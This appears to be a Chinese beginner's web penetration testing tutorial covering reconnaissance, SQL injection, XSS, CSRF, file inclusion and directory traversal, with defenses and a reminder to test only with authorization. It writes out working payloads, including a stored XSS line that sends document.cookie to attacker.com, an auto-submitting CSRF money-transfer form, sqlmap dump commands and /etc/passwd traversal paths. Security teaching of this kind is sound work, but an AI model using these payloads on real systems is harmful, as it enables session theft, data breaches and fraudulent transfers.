web渗透——小白入狱

在这里插入图片描述

- - 理论知识总结
  - 一、Web渗透核心知识点
  - 二、Web渗透实操案例
  - 三、Web渗透学习建议
  - 实操案例
  - 一、信息收集实操
  - - 步骤：
  - 二、SQL注入实操
  - - 步骤：
  - 三、跨站脚本攻击（XSS）实操
  - - 步骤：
  - 四、CSRF攻击实操
  - - 步骤：
  - 五、本地文件包含（LFI）实操
  - - 步骤：
  - 六、目录遍历实操
  - - 步骤：
  - 七、工具辅助与安全环境

小知学网络

理论知识总结

一、Web渗透核心知识点

Web渗透基础概念
- Web渗透测试：测试Web应用的安全性，通过模拟攻击手段查找应用的漏洞，保护数据和用户信息。
- 常见攻击类型：SQL注入、跨站脚本（XSS）、跨站请求伪造（CSRF）、文件包含、目录遍历等。
- 攻击流程：信息收集、漏洞扫描、漏洞利用、权限提升、数据泄露或控制等。
信息收集
- 目标信息：收集网站的域名、IP、端口、操作系统、开放端口和应用程序等信息。
- 工具：WHOIS、nslookup、Nmap、Shodan、Google hacking。
- 实操步骤：使用Nmap扫描目标IP和端口，分析目标的操作系统和开放服务。
SQL注入（SQL Injection）
- 原理：攻击者通过恶意SQL代码操控数据库，从而实现数据泄露、用户身份绕过等。
- 检测方法：手动测试、SQLMap、Burp Suite等。
- 实操案例：使用SQLMap工具测试并注入数据库，提取敏感信息。
跨站脚本攻击（XSS）
- 原理：通过注入恶意脚本代码，在用户浏览器中执行，从而窃取用户信息、劫持会话等。
- 类型：反射型XSS、存储型XSS、DOM型XSS。
- 防护：输入过滤、输出编码。
- 实操案例：利用存储型XSS在留言板或评论区注入恶意JavaScript代码，从而在其他用户访问时触发脚本。
跨站请求伪造（CSRF）
- 原理：攻击者伪造用户的请求执行未授权操作，利用用户的身份权限发起恶意请求。
- 检测方法：手动验证CSRF漏洞的存在，或者使用Burp Suite。
- 防护：使用CSRF Token、检查Referer头、限制用户操作权限。
- 实操案例：模拟用户的身份提交请求，通过篡改请求实现恶意操作。
文件包含漏洞
- 原理：在目标网站中利用不安全的文件包含代码，使服务器加载恶意文件。
- 类型：本地文件包含（LFI）和远程文件包含（RFI）。
- 防护：限制文件包含路径，避免直接调用文件路径参数。
- 实操案例：利用LFI漏洞访问服务器上的敏感文件，如/etc/passwd。
目录遍历
- 原理：攻击者通过构造路径遍历字符，访问到Web目录外的敏感文件。
- 检测方法：手动测试不同路径或使用自动化工具扫描。
- 防护：规范文件路径，禁止目录列表输出。
- 实操案例：构造../../路径，尝试访问服务器的配置文件或用户隐私数据。
Web应用防护措施
- 输入验证和输出编码：严格检查用户输入，防止恶意输入引发的漏洞。
- 加密敏感信息：对存储在数据库中的敏感数据进行加密处理，如用户密码、Token等。
- 防火墙和IDS/IPS：使用Web应用防火墙（WAF）和入侵检测系统（IDS）进行流量监控。
- 安全开发生命周期（SDLC）：在开发过程中引入安全检测环节，避免漏洞。

二、Web渗透实操案例

案例1：SQL注入
- 目标：某在线商城网站。
- 步骤：
  1. 使用Burp Suite拦截登录请求，检查SQL注入漏洞。
  2. 在登录参数中尝试输入' OR 1=1 --等语句。
  3. 通过SQLMap进行自动化注入测试，进一步提取数据库信息。
- 结果：成功获取到用户名和密码的哈希值。
案例2：反射型XSS
- 目标：某社交网站的搜索框。
- 步骤：
  1. 在搜索框输入<script>alert('XSS');</script>，验证是否会在页面中反射执行。
  2. 如果搜索框未过滤，则在页面中显示弹窗，说明存在反射型XSS漏洞。
- 结果：弹窗成功显示，漏洞存在。
案例3：CSRF攻击
- 目标：某银行系统的转账功能。
- 步骤：
  1. 生成CSRF攻击代码，伪造转账请求。
  2. 在受害者打开攻击页面时自动发起请求，导致其在不知情的情况下执行转账。
- 结果：模拟转账成功，确认CSRF漏洞。
案例4：本地文件包含（LFI）
- 目标：某企业内部系统。
- 步骤：
  1. 在URL参数中尝试注入文件路径，如?file=../../../../etc/passwd。
  2. 如果服务器未限制路径，则可直接访问服务器中的敏感文件。
- 结果：成功读取到系统用户信息文件/etc/passwd。
案例5：目录遍历
- 目标：某公司官网。
- 步骤：
  1. 通过构造URL访问不同路径，例如../admin/config.php。
  2. 如果未对目录遍历进行过滤，可以访问到管理员文件夹中的敏感文件。
- 结果：成功读取到网站配置文件。

三、Web渗透学习建议

学习基础：掌握HTTP协议、HTML、JavaScript等Web基础知识，以及数据库基本操作。
熟悉常用工具：如Burp Suite、Nmap、SQLMap、Nikto等。
实践操作：通过安全实验室或靶场环境进行模拟攻击测试，如DVWA、BWAPP、Hack The Box等。
深入漏洞原理：理解漏洞产生的原因和修复方法，结合实际代码示例学习漏洞利用和修复。
法律法规意识：在渗透测试过程中严格遵循网络安全法规，确保仅在授权范围内进行测试。

实操案例

一、信息收集实操

目标：获取目标网站的基本信息，包括IP地址、子域名、开放端口和操作系统等，以便为后续渗透测试做准备。

步骤：

使用WHOIS查询：获得域名的注册信息。
- 在终端中输入以下命令：
```
whois example.com
```
- 查看域名的注册人、注册时间、DNS等信息。
使用Nslookup：获取目标域名的IP地址。
- 输入命令：
```
nslookup example.com
```
- 返回的IP地址可用于进一步的端口扫描。
使用Nmap扫描开放端口：
- 在终端中输入以下命令，扫描目标主机开放的端口：
```
nmap -sS -sV -O example.com
```
- -sS表示进行TCP SYN扫描，-sV用于检测服务版本，-O检测操作系统。
使用Gobuster查找隐藏目录：
- 在终端输入以下命令，使用字典枚举网站目录和文件：
```
gobuster dir -u http://example.com -w /path/to/wordlist.txt
```
- 找到的隐藏目录可以用于进一步测试。

二、SQL注入实操

目标：通过SQL注入技术获取数据库中的敏感数据，如用户名和密码。

步骤：

手动SQL注入测试：
- 在Web应用的输入框（如登录页面的用户名字段）输入以下常见的SQL注入语句：
```
' OR '1'='1' --
```
- 观察返回结果是否显示登录成功或数据泄露提示。如果SQL注入成功，可能会绕过验证。

使用SQLMap进行自动化注入：

使用SQLMap工具扫描并提取数据库信息：

sqlmap -u "http://example.com/login.php?id=1" --dbs

--dbs选项用于枚举数据库。

获取数据库后，可以进一步查询表和字段：

sqlmap -u "http://example.com/login.php?id=1" -D database_name --tables

最后提取数据：

sqlmap -u "http://example.com/login.php?id=1" -D database_name -T table_name --dump

三、跨站脚本攻击（XSS）实操

目标：利用XSS漏洞在用户浏览器中执行恶意JavaScript代码，以便窃取用户的Cookies或敏感信息。

步骤：

反射型XSS测试：
- 在搜索框等输入区域尝试输入以下代码：
```
<script>alert('XSS Vulnerable');</script>
```
- 如果页面反射该代码并触发弹窗，说明存在反射型XSS漏洞。
存储型XSS测试：
- 在评论区或留言板等存储型输入区域，输入以下代码：
```
<script>document.write('<img src="http://attacker.com/steal-cookie?c=' + document.cookie + '">');</script>
```
- 提交后，登录其他用户账户访问该页面，若代码执行且用户Cookie被泄露，说明存在存储型XSS漏洞。
使用Burp Suite进行XSS检测：
- 使用Burp Suite拦截请求，将输入内容替换为恶意脚本代码，发送请求，观察服务器返回的数据是否执行了代码。

四、CSRF攻击实操

目标：利用CSRF漏洞诱导受害者在未授权的情况下执行恶意请求（如转账操作）。

步骤：

构造CSRF攻击代码：

创建一个HTML文件，伪造目标网站的请求，例如转账请求：

<html>
<body><form action="http://example.com/transfer" method="POST"><input type="hidden" name="amount" value="1000"><input type="hidden" name="to_account" value="attacker_account"><input type="submit" value="Transfer Money"></form><script>document.forms[0].submit();</script>
</body>
</html>

将此文件发给受害者或诱导其点击。一旦打开页面，自动提交的表单会在用户身份下完成转账操作。

Burp Suite检测CSRF：
- 使用Burp Suite拦截用户的请求，尝试对关键请求添加CSRF Token，验证请求是否会被伪造执行。

五、本地文件包含（LFI）实操

目标：通过本地文件包含漏洞读取服务器上的敏感文件（如配置文件）。

步骤：

手动测试LFI：
- 在目标URL参数中尝试输入文件路径：
```
http://example.com/page?file=../../../../etc/passwd
```
- 如果页面返回文件内容，说明存在LFI漏洞，可进一步访问敏感文件。
使用Burp Suite进行LFI检测：
- 拦截请求，将参数替换为文件路径，查看响应内容。
- 逐步更改路径深度以测试其他文件，或使用插件自动化测试。

六、目录遍历实操

目标：利用目录遍历漏洞访问到Web服务器的敏感文件和目录。

步骤：

手动测试目录遍历：
- 在URL中输入类似以下的路径，尝试访问敏感文件：
```
http://example.com/view?file=../../../../etc/hostname
```
- 若返回文件内容，说明目录遍历成功。
使用Burp Suite辅助测试：
- 在请求中使用“Repeater”模块，通过重复测试不同路径逐步尝试目录遍历。

七、工具辅助与安全环境

创建虚拟测试环境：使用Kali Linux、DVWA、Metasploitable等工具搭建本地测试环境，在虚拟机或沙盒中模拟Web渗透环境。
使用WAF绕过技术：在具备WAF的测试环境中，通过编码绕过、分块注入等手段进行WAF绕过练习。

知识点	概述	测试步骤	工具
信息收集	获取目标的基本信息，为后续渗透做准备。	1. 使用WHOIS查询域名注册信息 2. Nslookup获取IP地址 3. 使用Nmap扫描开放端口 4. 使用Gobuster查找隐藏目录	WHOIS, Nslookup, Nmap, Gobuster
SQL注入	通过注入恶意SQL语句操控数据库，实现信息泄露、登录绕过等。	1. 手动在输入框尝试注入`' OR '1'='1' --` 2. 使用SQLMap自动注入，枚举数据库和表并提取数据	SQLMap, Burp Suite
XSS（跨站脚本）	利用恶意脚本在用户浏览器中执行，窃取Cookie等信息。	1. 在输入框尝试`<script>alert('XSS');</script>` 2. 在评论区插入`<img src="http://...">`代码用于窃取Cookie	Burp Suite, 手动输入
CSRF攻击	伪造用户身份提交恶意请求，实现未授权操作。	1. 创建伪造的HTML表单，使用自动提交脚本 2. 在Burp Suite中拦截请求，分析是否存在CSRF漏洞	Burp Suite, 手动操作
文件包含漏洞	通过包含服务器上的文件，访问敏感数据。	1. 修改URL参数为`../../etc/passwd`测试LFI 2. 使用Burp Suite修改请求中的参数路径	Burp Suite, 手动输入
目录遍历	访问服务器上敏感文件或目录。	1. 构造路径`../../`访问服务器的配置文件 2. 使用Burp Suite测试不同目录路径	Burp Suite, 手动操作
Web应用防护	防止常见Web攻击，确保应用安全。	1. 对输入进行严格验证 2. 数据库信息加密 3. 使用WAF和IDS检测 4. 安全开发生命周期（SDLC）引入漏洞修复措施	WAF, IDS, 手动检查
工具辅助测试	使用自动化工具和漏洞扫描器检测Web应用的安全。	1. 配置Kali Linux等渗透环境 2. 结合Nmap、SQLMap、Burp Suite等工具进行漏洞检测和利用	Kali Linux, DVWA, Metasploitable